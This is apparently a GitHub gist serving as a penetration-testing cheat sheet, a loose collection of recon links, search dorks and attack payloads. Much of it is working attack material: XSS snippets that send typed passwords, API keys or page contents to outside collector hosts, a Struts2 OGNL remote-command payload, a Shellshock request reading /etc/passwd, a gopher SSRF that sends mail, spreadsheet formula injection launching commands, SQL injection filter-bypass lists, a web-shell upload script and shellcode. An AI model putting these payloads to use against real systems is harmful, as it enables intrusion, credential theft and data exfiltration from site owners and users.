Last active
October 9, 2024 08:44
-
-
Save cyberheartmi9/5041ee19d35ecb8cf208dea068d57293 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ########################## xss using postmessage api ############### | |
| <iframe src="//vulnerable-website" onload="this.contentWindow.postMessage('alert(1)','*')"> | |
| ################ Exploiting cross-site scripting to capture passwords ############################################ | |
| <input name=username id=username> | |
| <input type=password name=password onchange="if(this.value.length)fetch('https://lolo.burpcollaborator.net',{ | |
| method:'POST', | |
| mode: 'no-cors', | |
| body:username.value+':'+this.value | |
| });"> | |
| #########################hunting phishing site ############################ | |
| whois | |
| https://whois.icann.org/en | |
| Robtex | |
| https://www.robtex.com/dns-lookup/ | |
| https://community.riskiq.com/home | |
| https://www.virustotal.com/ | |
| https://www.circl.lu/services/passive-dns/ | |
| https://securitytrails.com/dns-trails | |
| dork | |
| cache:https://eff.org/ | |
| https://urlscan.io/ | |
| https://visualping.io/ | |
| https://github.com/thp/urlwatch | |
| http://checkshorturl.com/ | |
| https://www.similarweb.com/website/ | |
| https://analytics.moz.com/pro/link-explorer/home | |
| https://www.semrush.com/info/ | |
| http://moonsearch.com/ | |
| https://www.alexa.com/siteinfo/ | |
| #Reputation | |
| https://sitereview.bluecoat.com/ | |
| https://www.google.com/transparencyreport/safebrowsing/diagnostic/ | |
| https://sitecheck.sucuri.net/ | |
| https://www.threatminer.org/ | |
| https://cymon.io/ | |
| https://www.trustedsource.org/en/feedback/url?action=checksingle | |
| https://osintframework.com | |
| ################################################################### | |
| ##################################### Sub domain takeover #################### | |
| #####AWS S3 | |
| # {bucketname}.s3.amazonaws.com | |
| ^[a-z0-9\.\-]{0,63}\.?s3.amazonaws\.com$ | |
| # {bucketname}.s3-website(.|-){region}.amazonaws.com (+ possible China region) | |
| ^[a-z0-9\.\-]{3,63}\.s3-website[\.-](eu|ap|us|ca|sa|cn)-\w{2,14}-\d{1,2}\.amazonaws.com(\.cn)?$ | |
| # {bucketname}.s3(.|-){region}.amazonaws.com | |
| ^[a-z0-9\.\-]{3,63}\.s3[\.-](eu|ap|us|ca|sa)-\w{2,14}-\d{1,2}\.amazonaws.com$ | |
| # {bucketname}.s3.dualstack.{region}.amazonaws.com | |
| ^[a-z0-9\.\-]{3,63}\.s3.dualstack\.(eu|ap|us|ca|sa)-\w{2,14}-\d{1,2}\.amazonaws.com$ | |
| http -b GET http://{SOURCE DOMAIN NAME} | grep -E -q '<Code>NoSuchBucket</Code>|<li>Code: NoSuchBucket</li>' && echo "Subdomain takeover may be possible" || echo "Subdomain takeover is not possible" | |
| #####github | |
| ^[a-z0-9\.\-]{0,70}\.?github\.io$ | |
| http -b GET http://{SOURCE DOMAIN NAME} | grep -F -q "<strong>There isn't a GitHub Pages site here.</strong>" && echo "Subdomain takeover may be possible" || echo "Subdomain takeover is not possible" | |
| #####Heroku | |
| ^[a-z0-9\.\-]{2,70}\.herokudns\.com$ | |
| http -b GET http://{SOURCE DOMAIN NAME} | grep -F -q "//www.herokucdn.com/error-pages/no-such-app.html" && echo "Subdomain takeover may be possible" || echo "Subdomain takeover is not possible" | |
| ###################Readme.io | |
| ^[a-z0-9\.\-]{2,70}\.readme\.io$ | |
| http -b GET http://{SOURCE DOMAIN NAME} | grep -F -q "Project doesnt exist... yet!" && echo "Subdomain takeover may be possible" || echo "Subdomain takeover is not possible" | |
| ############################################################################### | |
| <?php | |
| $commands = array( | |
| 'HELO hackertarget.com', | |
| 'MAIL FROM: <[email protected]>', | |
| 'RCPT To: <[email protected]>', | |
| 'DATA', | |
| 'Subject: corben!', | |
| 'Corben (cdl) was here, woot woot!', | |
| '.' | |
| ); | |
| $payload = implode('%0A', $commands); | |
| header('Location: gopher://0:25/_'.$payload); | |
| ?> | |
| ############# RECON ##################################### | |
| Recon | |
| https://bgpview.io/asn/15169 | |
| whois -h whois.cymru.com | |
| http://viewdns.info/reversewhois/v | |
| https://pentest-tools.com/ | |
| https://virustotal.com/ | |
| https://www.shodan.io/ | |
| https://crt.sh/?q=%25taregt.com | |
| https://dnsdumpster.com/ | |
| https://censys.io | |
| https://fofa.so/?locale=en | |
| http://dnsgoodies.com | |
| https://bitbucket.org/LaNMaSteR53/recon-ng | |
| https://github.com/michenriksen/aquatone | |
| https://github.com/aboul3la/Sublist3r | |
| https://github.com/rbsec/dnscan | |
| https://github.com/Cleveridge/cleveridge-subdomain-scanner | |
| Vhost | |
| https://pentest-tools.com/information-gathering/find-virtual-hosts | |
| https://github.com/jobertabma/virtual-host-discovery | |
| S3 buckets | |
| https://github.com/yasinS/sandcastle | |
| https://digi.ninja/projects/bucket_finder.php | |
| Final notes | |
| Whois Information | |
| Subdomains | |
| Dir info | |
| S3 Buckets | |
| social accounts | |
| API Endpoints | |
| emails | |
| Vhosts | |
| Backend IP address | |
| Open Ports / Services running | |
| Service version info (if applicable) | |
| server banners | |
| directory listings | |
| presence security headers | |
| WAF (+ WAF type) | |
| Dork | |
| https://pentest-tools.com/information-gathering/google-hacking | |
| https://github.com/1N3/Goohak/ | |
| https://github.com/ZephrFish/GoogD0rker/ | |
| Info leaks | |
| https://github.com/1N3/Sn1per (for web) | |
| https://github.com/michenriksen/gitrob (for github) | |
| https://github.com/dxa4481/truffleHog | |
| https://github.com/IOActive/RepoSsessed | |
| https://github.com/anshumanbh/git-all-secrets | |
| Js files | |
| https://github.com/jobertabma/relative-url-extractor | |
| Web archive | |
| https://web.archive.org/ | |
| https://gist.github.com/mhmdiaa/2742c5e147d49a804b408bfed3d32d07 | |
| https://gist.github.com/mhmdiaa/adf6bff70142e5091792841d4b372050 | |
| GitHub | |
| https://github.com/michenriksen/gitrob/blob/master/README.md | |
| https://github.com/anshumanbh/git-all-secrets | |
| https://github.com/auth0/repo-supervisor | |
| https://github.com/awslabs/git-secrets | |
| https://github.com/dxa4481/truffleHog | |
| #################################################################################### | |
| sslscan --targets=/tmp/targets.lst --no-ciphersuites --no-fallback --no-renegotiation --no-compression --no-check-certificate | |
| ########################################################## | |
| egghunter | |
| "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x77\x30\x30\x74\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7" | |
| ################################################## | |
| grep -R -a -b -o /bin/sh file | |
| select writable section | |
| objdump -x bof | |
| 1- write to stdin to writeable stdin | |
| ///////////////////// | |
| a-read addreess | |
| b-ppr | |
| c-stdin(0) | |
| d-writable address | |
| e-len of cmd | |
| ////////////////////////// | |
| 2-leak addr of func in randomized libc | |
| //////////////////////// | |
| a-write address | |
| b-ppr | |
| c-stdout(1) | |
| d-read address(Func) | |
| e-len of address=(4) | |
| /////////////////////// | |
| 3-call read(func) to overwrite PTR in read(Func) entry in GOT | |
| /////////////////////// | |
| a-read address | |
| b-ppr | |
| c-stdin(0) | |
| d-read address | |
| e-len (4) | |
| ////////////////////// | |
| 4-call read(Func) =address of system in libc | |
| ////////////////////////// | |
| a-read addrees | |
| b-BBBB(ret) | |
| c-writable address | |
| ///////////////////////// | |
| ################################################## | |
| Ret2Libc bypass setuid exploit structure | |
| |printf|pop-ret|%5$n|execl|exit|/bin/sh/|/bin/sh|execl-last-arg| | |
| ---------------------- | stack growth | |
| |execl-last-arg | | | |
| |--------------------- | | |
| |/bin/sh | | | |
| |--------------------- | | |
| |/bin/sh | | | |
| |--------------------- | | |
| |exit | | | |
| |--------------------- | | |
| |execl | v | |
| |--------------------- | |
| |%5$n | | |
| |--------------------- | |
| |pop ret | | |
| |--------------------- | |
| |printf | | |
| |--------------------- | |
| |printf|pop-ret|%6$n|printf|ppr|%8$n|setuid|pop-ret|setuid-arg|execl|exit|/bin/sh|/bin/sh|execl-last-arg| | |
| -------------------------- | stack growth | |
| | execl-last-arg(null) | | | |
| |------------------------- | | |
| |/bin/sh | | | |
| |------------------------- | | |
| |/bin/sh | | | |
| |------------------------- | | |
| |exit | | | |
| |------------------------- | | |
| |setuid-arg | | | |
| |------------------------- v | |
| |pop ret | | |
| |------------------------- | |
| |setuid | | |
| |------------------------- | |
| | %8$n | | |
| |------------------------- | |
| |pop ret | | |
| |------------------------- | |
| |printf | | |
| |------------------------- | |
| |%6$n | | |
| |------------------------- | |
| |pop ret | | |
| |------------------------- | |
| |printf | | |
| |------------------------- | |
| ############################################# | |
| Sql injection Kun Fu | |
| Mysql | |
| SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) | |
| WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] | |
| >',table_name,' > ',column_name))))x | |
| mssql | |
| SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH('') | |
| postgresql | |
| SELECT array_to_json(array_agg(tables))::text FROM (SELECT schemaname, relname FROM | |
| pg_stat_user_tables) AS tables LIMIT 1; | |
| Oracle | |
| SELECT xmlagg(xmlelement(“user”, login||’:’||pass) ORDER BY login).getStringVal() FROM | |
| users; | |
| ########## | |
| No quotes | |
| OR 1#"OR"'OR''='"="'OR''=' | |
| Single quotes | |
| OR 1#"OR"'OR''='"="'OR''=' | |
| Double quotes | |
| OR 1#"OR"'OR''='"="'OR''=' | |
| ######and | |
| No quotes | |
| !=0--+"!="'!=' | |
| Single quotes | |
| !=0--+"!="'!=' | |
| Double quotes | |
| !=0--+"!="'!=' | |
| ############################################# | |
| #SSRF Localhost | |
| 0 | |
| 127.00.1 | |
| 127.0.01 | |
| 0.00.0 | |
| 0.0.00 | |
| 127.1.0.1 | |
| 127.10.1 | |
| 127.1.01 | |
| 0177.1 | |
| 0177.0001.0001 | |
| 0x0.0x0.0x0.0x0 | |
| 0000.0000.0000.0000 | |
| 0x7f.0x0.0x0.0x1 | |
| 0177.0000.0000.0001 | |
| 0177.0001.0000..0001 | |
| 0x7f.0x1.0x0.0x1 | |
| 0x7f.0x1.0x1 | |
| localtest.me | |
| ##################################################################### | |
| <xsl:stylesheet version="1.0" | |
| xmlns:xsl="http://www.w3.org/1999/XSL/Transform" | |
| xmlns:php="http://php.net/xsl" | |
| <xsl:output method="html"/> | |
| <xsl:template match="/"> | |
| <xsl:value-of select="php:function('shell_exec','ls -la')"/> | |
| </xsl:template> | |
| </xsl:stylesheet> | |
| ########################################################### | |
| var req=new XMLHttpRequest(); | |
| req.onload=evil; | |
| req.open('get','http://target.com',true); | |
| req.setRequestHeader('X-User','<svg/onload=alert(1)'); | |
| req.send(); | |
| function evil() { | |
| location='http://target.com'; | |
| } | |
| ############################################### | |
| Check the browser console for errors | |
| <script> | |
| function gotcha() { location=url } | |
| var req = new XMLHttpRequest(); | |
| url = 'https://example.com/'; // beware of mixed content blocking when targeting HTTP sites | |
| req.onload = gotcha; | |
| req.open('get', url, true); | |
| req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>") | |
| req.send(); | |
| </script> | |
| ############################################# | |
| var req = new XMLHttpRequest(); | |
| req.onload = reqListener; | |
| req.open('get','https://btc-exchange/api/requestApiKey',true); | |
| req.withCredentials = true; | |
| req.send(); | |
| function reqListener() { | |
| location='//atttacker.net/log?key='+this.responseText; | |
| }; | |
| ############################################## | |
| <html> | |
| <body> | |
| <center> | |
| <h2>CORS POC Exploit</h2> | |
| <h3>Extract SID</h3> | |
| <div id="demo"> | |
| <button type="button" onclick="cors()">Exploit</button> | |
| </div> | |
| <script> | |
| function cors() { | |
| var xhttp = new XMLHttpRequest(); | |
| xhttp.onreadystatechange = function() { | |
| if (this.readyState == 4 && this.status == 200) { | |
| document.getElementById("demo").innerHTML = alert(this.responseText); | |
| } | |
| }; | |
| xhttp.open("GET", "https://target.com/info/", true); | |
| xhttp.withCredentials = true; | |
| xhttp.send(); | |
| } | |
| </script> | |
| </body> | |
| </html> | |
| ############################################## | |
| intitle:"index of /" Parent Directory site:yoursitehere.com | |
| You can search for admin directories | |
| intitle:"Index of /admin" site:yoursitehere.com | |
| You can search for password directories | |
| intitle:"Index of /password" site:yoursitehere.com | |
| You can search for mail directories | |
| intitle:"Index of /mail" site:yoursitehere.com | |
| You can search for files like passwd | |
| intitle:"Index of /" passwd site:yoursitehere.com | |
| You can search for password.txt files | |
| intitle:"Index of /" password.txt site:yoursitehere.com | |
| You can search for htaccess file | |
| intitle:"Index of /" .htaccess site:yoursitehere.com | |
| You can also search for diffrent extensions. | |
| intitle:"index of ftp" .mdb site:yoursitehere.com | |
| You can also try and look for admin pages or the login functionalities | |
| Intitle: "login" "admin" site:yoursitehere.com | |
| Using InURL we can search for diffrent functionalities within the website. | |
| Search for Admin Login Functionality on target domain | |
| inurl:admin site:yoursitehere.com | |
| Search for Login Functionality on target domain | |
| inurl:login site:yoursitehere.com | |
| Using FileType we can search for diffrent files within the website. | |
| Searching for text files containing passwd in URL on target domain | |
| inurl:passwd filetype:txt site:yoursitehere.com | |
| Searching for db files containing admin in URL on target domain | |
| inurl:admin filetype:db site:yoursitehere.com | |
| Searching for logs on target domain | |
| filetype:log site:yoursitehere.com | |
| Searching for Excel and csv files on target domain | |
| filetype:xls csv site:yoursitehere.com | |
| Search for other sites containing links for your target website | |
| link:yoursite.com -site:yoursite.com | |
| You can also use Google Translater as a proxy to access the website | |
| http://translate.google.com/translate?hl=en&sl=ar&tl=en&u=http://www.yoursitehere.com/urlhere | |
| ###################################################################### | |
| %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} | |
| svg | |
| <foreignObject> | |
| <html xmlns='http://www.w3.org/1999/xhtml'> | |
| <meta http-equiv='Set-Cookie' content='aappp=bbqqq' /> | |
| </html> | |
| </foreignObject> | |
| <foreignObject> | |
| <html xmlns='http://www.w3.org/1999/xhtml'> | |
| <meta http-equiv='Set-Cookie' content='aappp=bbqqq' /> | |
| </html> | |
| </foreignObject> | |
| ########################################################## | |
| Content-Type: %{#context[‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’].addHeader(‘X-Qualys-Struts’,3195*5088)}.multipart/form-data | |
| #################### | |
| requestb.in | |
| ### | |
| wget -U "(){test;];echo\"Content-type:text/plain\";echo;echo;/bin/cat /etc/passwd" | |
| ########## | |
| print(().__class__.__bases__[0].__subclasses__()[40]('./key').read()) | |
| #################### | |
| GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//; | |
| <svgxmlns="http://www.w3.org/2000/svg"onload="alert(document.domain)"/> | |
| ##################### | |
| <html> | |
| <head> | |
| <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"> | |
| </head> | |
| <body> | |
| <iframe src=" /{}*{xss:expression(alert(3)/"</iframe> | |
| </body> | |
| </html> | |
| ############### | |
| %55nion(%53elect) | |
| union%20distinct%20select | |
| union%20%64istinctRO%57%20select | |
| union%2053elect | |
| %23?%0auion%20?%23?%0aselect | |
| %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect | |
| %55nion %53eLEct | |
| u%6eion se%6cect | |
| unio%6e %73elect | |
| unio%6e%20%64istinc%74%20%73elect | |
| uni%6fn distinct%52OW s%65lect | |
| %75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7 | |
| /*!%55NiOn*/ /*!%53eLEct*/ | |
| %55nion(%53elect 1,2,3)-- - | |
| +union+distinct+select+ | |
| +union+distinctROW+select+ | |
| /**//*!12345UNION SELECT*//**/ | |
| concat(0x223e,@@version) | |
| concat(0x273e27,version(),0x3c212d2d) | |
| concat(0x223e3c62723e,version(),0x3c696d67207372633d22) | |
| concat(0x223e,@@version,0x3c696d67207372633d22) | |
| concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62723e) | |
| concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22) | |
| concat(‘’,@@version,’’) | |
| /**//*!50000UNION SELECT*//**/ | |
| /**/UNION/**//*!50000SELECT*//**/ | |
| /*!50000UniON SeLeCt*/ | |
| union /*!50000%53elect*/ | |
| +#uNiOn+#sEleCt | |
| +#1q%0AuNiOn all#qa%0A#%0AsEleCt | |
| /*!%55NiOn*/ /*!%53eLEct*/ | |
| /*!u%6eion*/ /*!se%6cect*/ | |
| +un/**/ion+se/**/lect | |
| uni%0bon+se%0blect | |
| %2f**%2funion%2f**%2fselect | |
| union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A | |
| REVERSE(noinu)+REVERSE(tceles) | |
| /*--*/union/*--*/select/*--*/ | |
| union (/*!/**/ SeleCT */ 1,2,3) | |
| /*!union*/+/*!select*/ | |
| union+/*!select*/ | |
| /**/union/**/select/**/ | |
| /**/uNIon/**/sEleCt/**/ | |
| /**//*!union*//**//*!select*//**/ | |
| /*!uNIOn*/ /*!SelECt*/ | |
| +union+distinct+select+ | |
| +union+distinctROW+select+ | |
| +UnIOn%0d%0aSeleCt%0d%0a | |
| UNION/*&test=1*/SELECT/*&pwn=2*/ | |
| un?+un/**/ion+se/**/lect+ | |
| +UNunionION+SEselectLECT+ | |
| +uni%0bon+se%0blect+ | |
| %252f%252a*/union%252f%252a /select%252f%252a*/ | |
| /%2A%2A/union/%2A%2A/select/%2A%2A/ | |
| %2f**%2funion%2f**%2fselect%2f**%2f | |
| union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A | |
| &nslookup evil.net&'\"`0&nslookup evil.net&`' | |
| /*!UnIoN*/SeLecT+ | |
| ######################################################################################### | |
| #!/bin/sh | |
| xml=`base64 response.xml` | |
| curl -v 'https://newsroom.uber.com/wp-content/plugins/onelogin-saml-sso/onelogin_saml.php?acs' \ | |
| --data "RelayState=/wp-login.php" --data-urlencode "SAMLResponse=$xml" | |
| ######################################################################################## | |
| Query. | |
| Version SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; | |
| SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’; | |
| SELECT version FROM v$instance; | |
| Comments SELECT 1 FROM dual — comment | |
| – NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name ‘dual’ when we’re not actually selecting from a table. | |
| Current User SELECT user FROM dual | |
| List Users SELECT username FROM all_users ORDER BY username; | |
| SELECT name FROM sys.user$; — priv | |
| List Password Hashes SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus tells you if acct is locked | |
| SELECT name,spare4 FROM sys.user$ — priv, 11g | |
| Password Cracker checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10. | |
| List Privileges SELECT * FROM session_privs; — current privs | |
| SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs | |
| SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv | |
| SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; | |
| List DBA Accounts SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles | |
| Current Database SELECT global_name FROM global_name; | |
| SELECT name FROM v$database; | |
| SELECT instance_name FROM v$instance; | |
| SELECT SYS.DATABASE_NAME FROM DUAL; | |
| List Databases SELECT DISTINCT owner FROM all_tables; — list schemas (one per user) | |
| – Also query TNS listener for other databases. See tnscmd (services | status). | |
| List Columns SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’; | |
| SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’; | |
| List Tables SELECT table_name FROM all_tables; | |
| SELECT owner, table_name FROM all_tables; | |
| Find Tables From Column Name SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case | |
| Select Nth Row SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1) | |
| Select Nth Char SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’ | |
| Bitwise AND SELECT bitand(6,2) FROM dual; — returns 2 | |
| SELECT bitand(6,1) FROM dual; — returns0 | |
| ASCII Value -> Char SELECT chr(65) FROM dual; — returns A | |
| Char -> ASCII Value SELECT ascii(‘A’) FROM dual; — returns 65 | |
| Casting SELECT CAST(1 AS char) FROM dual; | |
| SELECT CAST(’1′ AS int) FROM dual; | |
| String Concatenation SELECT ‘A’ || ‘B’ FROM dual; — returns AB | |
| If Statement BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements | |
| Case Statement SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1 | |
| SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2 | |
| Avoiding Quotes SELECT chr(65) || chr(66) FROM dual; — returns AB | |
| Time Delay BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT | |
| SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — if reverse looks are slow | |
| SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow | |
| SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is filtered / slow | |
| – Also see Heavy Queries to create a time delay | |
| Make DNS Requests SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual; | |
| SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; | |
| Command Execution Javacan be used to execute commands if it’s installed.ExtProc can sometimes be used too, though it normally failed for me. :-( | |
| Local File Access UTL_FILE can sometimes be used. Check that the following is non-null: | |
| SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;Java can be used to read and write files if it’s installed (it is not available in Oracle Express). | |
| Hostname, IP Address SELECT UTL_INADDR.get_host_name FROM dual; | |
| SELECT host_name FROM v$instance; | |
| SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address | |
| SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — gets hostnames | |
| Location of DB files SELECT name FROM V$DATAFILE; | |
| Default/System Databases SYSTEM | |
| SYSAUX | |
| Misc Tips | |
| In no particular order, here are some suggestions from pentestmonkey readers. | |
| From Christian Mehlmauer: | |
| Get all tablenames in one string select rtrim(xmlagg(xmlelement(e, table_name || ‘,’)).extract(‘//text()’).extract(‘//text()’) ,’,') from all_tables – when using union based SQLI with only one row | |
| Blind SQLI in order by clause order by case when ((select 1 from user_tables where substr(lower(table_name), 1, 1) = ‘a’ and rownum = 1)=1) then column_name1 else column_name2 end — you must know 2 column names with the same datatype | |
| ######################################################################################## | |
| %0A-2+3+cmd|' /C calc'!D2 (bypass with new line) | |
| =cmd|' /C calc'!A0 | |
| @SUM(cmd|'/c calc'!A0) | |
| ;=cmd|' /C calc'!A0 | |
| =HYPERLINK("https://evil.com") | |
| ######################################################################################## | |
| Find user input/output for possible XSS: | |
| grep -i -r “echo” * | |
| grep -i -r “\$_GET” * | |
| grep -i -r “\$_” * | grep “echo” | |
| grep -i -r “\$_GET” * | grep “echo” | |
| grep -i -r “\$_POST” * | grep “echo” | |
| grep -i -r “\$_REQUEST” * | grep “echo” | |
| Find potential command execution: | |
| grep -i -r “shell_exec(” * | |
| grep -i -r “system(” * | |
| grep -i -r “exec(” * | |
| grep -i -r “popen(” * | |
| grep -i -r “passthru(” * | |
| grep -i -r “proc_open(” * | |
| grep -i -r “pcntl_exec(” * | |
| Find potential code execution: | |
| grep -i -r “eval(” * | |
| grep -i -r “assert(” * | |
| grep -i -r “preg_replace” * | grep “/e” | |
| grep -i -r “create_function(” * | |
| Find potential SQL injection: | |
| grep -i -r “\$sql” * | |
| grep -i -r “\$sql” * | grep “\$_” | |
| Find potential information disclosure: | |
| grep -i -r “phpinfo” * | |
| Find potential development functionality: | |
| grep -i -r “debug” * | |
| grep -i -r “\$_GET[‘debug’]” * | |
| grep -i -r “\$_GET[‘test’]” * | |
| Find potential file inclusion: | |
| grep -i -r “file_include” * | |
| grep -i -r “include(” * | |
| grep -i -r “require(” * | |
| grep -i -r “require(\$file)” * | |
| grep -i -r “include_once(” * | |
| grep -i -r “require_once(” * | |
| grep -i -r “require_once(” * | grep “\$_” | |
| Other: | |
| grep -i -r “header(” * | grep “\$_” | |
| ######################################################################################## | |
| [].constructor[/const/.source+/ructor/.source](/ale/.source+/rt/.source+"(1)")() | |
| []["constructor"]["constructor"](/ale/.source+/rt/.source+"(1)")() | |
| [][/const/.source+/ructor/.source][/const/.source+/ructor/.source](/ale/.source+/rt/.source+"(1)")() | |
| [][/const/.source+/ructor/.source][/const/.source+/ructor/.source](/ale/.source+/rt/.source+"`1`")() | |
| ######################################################################################## | |
| x=([]=alert("XSS"))=>class x extends x{}()()()()()()()()()()()()()()()()()()()()()()()();x() | |
| ######################################################################################## | |
| with(document).body.appendChild(createElement('script')).src='' | |
| with(document).body.appendChild(createElement(/script/.source)).src=atob(/Ly9icnV0ZWxvZ2ljLmNvbS5ici8y/.source) | |
| 'd2l0aChkb2N1bWVudCkuYm9keS5hcHBlbmRDaGlsZChjcmVhdGVFbGVtZW50KC9zY3JpcHQvLnNvdXJjZSkpLnNyYz1hdG9iKC9MeTlpY25WMFpXeHZaMmxqTG1OdmJTNWljaTh5Ly5zb3VyY2Up' | |
| <svg/onload=eval(atob(location.hash.slice(1)))>#d2l0aChkb2N1bWVudCkuYm9keS5hcHBlbmRDaGlsZChjcmVhdGVFbGVtZW50KC9zY3JpcHQvLnNvdXJjZSkpLnNyYz1hdG9iKC9MeTlpY25WMFpXeHZaMmxqTG1OdmJTNWljaTh5Ly5zb3VyY2Up | |
| http://brutelogic.com.br/webgun/hasher/ | |
| #############################################################################3 | |
| <svg/onload=location=`javascript:alert(1)`> | |
| <svg/onload=location.hash.substr(1)>#javascript:alert(1) | |
| %2b =+ | |
| <svg/onload='java'%2b'script:'%2balert%2blocation.hash.substr(1)>#(1) | |
| <svg/onload=/java/.source%2b/script:/.source%2b/a/.source%2b/lert/.source%2blocation.hash.substr(1)>#(1) | |
| <svg/onload=/java/.source%2b/script:/.source%2b/a/.source%2b/lert/.source%2blocation.hash.substr[1]%2b1%2blocation.hash.substr[2]>#() | |
| ################################################################## | |
| #!/usr/bin/perl | |
| # | |
| use LWP; | |
| use HTTP::Request::Common; | |
| $ua = $ua = LWP::UserAgent->new;; | |
| $res = $ua->request(POST 'http://localhost/Demo3.php', | |
| Content_Type => 'form-data', | |
| Content => [ | |
| userfile => ["chelsea-logo.jpg", "chelsea-logo.jpg", "Content-Type" => | |
| "image/jpg"], | |
| ], | |
| ); | |
| print $res->as_string(); | |
| ################################################################## | |
| #!/usr/bin/perl | |
| use LWP; | |
| use HTTP::Request::Common; | |
| $ua = $ua = LWP::UserAgent->new;; | |
| $res = $ua->request(POST 'http://localhost/Demo2.php', | |
| Content_Type => 'form-data', | |
| Content => [ | |
| userfile => ["shell.PHP", "shell.PHP", "Content-Type" =>"image/gif"], | |
| ], | |
| ); | |
| print $res->as_string(); | |
| ###############################################################3 | |
| Finding Jquery based sinks | |
| /after\(|\.append\(|\.before\(|\.html\(|\.prepend\(|\.replaceWith\(|\.wrap\(|\.wrapAll\(|\$\(|\.globalEval\(|\.add\(| | |
| jQUery\(|\$\(|\.parseHTML\(/ | |
| ######################################################################### | |
| Finding Javascript Sinks: | |
| /((src|href|data|location|code|value|action)\s*["'\]]*\s*\+?\s*=)|((replace|assign|navigate|getResponseHeader|open | |
| (Dialog)?|showModalDialog|eval|evaluate|execCommand|execScript|setTimeout|setInterval)\s*["'\]]*\s*\()/ | |
| ##################################################### | |
| Finding Sources: | |
| /(location\s*[\[.])|([.\[]\s*["']?\s*(arguments|dialogArguments|innerHTML|write(ln)?|open(Dialog)?|showModalDialog| | |
| cookie|URL|documentURI|baseURI|referrer|name|opener|parent|top|content|self|frames)\W)|(localStorage|sessionStorage| | |
| Database)/ | |
| ######################################################## | |
| <iframe name="test" src="http://www.rhainfosec.com" sandbox></iframe> | |
| <input type=button value="test" | |
| onclick="window.open('\u0000javascript:var i=new Image();i.src='//attacker.com?'+document.body.innerHTML;document.body.appendChild(i);','test')" > | |
| ########################################################## | |
| <script>var xhr = new XMLHttpRequest(); xhr.open(‘TRACE’, ‘http://localhost/WebGoat/attack’, false); xhr.send(null); if(200 == xhr.status) alert(xhr.responseText);</script> | |
| ############################################################3 | |
| wget -q -O /dev/stdout http://apache-phpfpm/zend_poc/zend-xmlrpc-server.php \ | |
| --post-file=poc-utf16.xml | |
| cat poc-utf8.xml | sed 's/UTF-8/UTF-16/' \ | |
| ####################################################### | |
| SYS.OWA_UTIL.CELLSPRINT | |
| https://wahh-app.com/pls/dad/package.procedure?param1=foo¶m2=bar | |
| ################################################################################### | |
| %26p=%26lt;svg/onload=alert(1)><j onclick=location%2B=document.body.textContent>click me! | |
| <j onclick=location%2B=textContent>%26p=%26lt;svg/onload=alert(1)> | |
